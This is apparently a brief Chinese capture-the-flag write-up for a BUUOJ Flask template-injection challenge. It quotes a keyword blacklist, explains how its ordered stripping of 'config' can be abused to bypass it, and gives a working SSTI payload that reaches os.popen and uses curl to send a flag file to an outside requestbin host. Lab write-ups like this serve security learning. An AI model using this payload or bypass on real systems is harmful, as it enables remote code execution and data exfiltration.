題目復現鏈接:https://buuoj.cn/challenges
flask SSTI
{{
被過濾,用{% if ... %}{% endif %}
代替,用os.popen
+curl
來帶出數據
黑名單過濾邏輯錯誤
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
這個邏輯是按順序針對每個關鍵詞過濾,只能應付雙寫繞過,還可以用列表的最后一項來繞過過濾
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http://http.requconfigestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}
注意buuoj的requestbin的url里面也有個request